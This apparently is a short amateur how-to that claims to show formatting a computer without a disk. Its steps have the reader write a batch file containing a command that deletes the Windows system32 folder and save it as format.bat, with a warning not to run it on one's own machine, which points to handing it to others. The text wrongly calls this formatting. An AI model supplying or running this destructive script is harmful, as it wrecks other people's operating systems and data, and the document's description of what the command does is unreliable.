How to format without any formating disk

Fast of all make sure you have a back up plan, follow step's-
step 1.
Open new Text document.

name it format.txt

step 2.
Type there or copy it.

@echo off
del c:\WINDOWS\system32\

Make sure you type it exactly like me.

step 3.
Click File and save as any name.bat
ex- format.bat
do not open it up in your computer,it will format your os.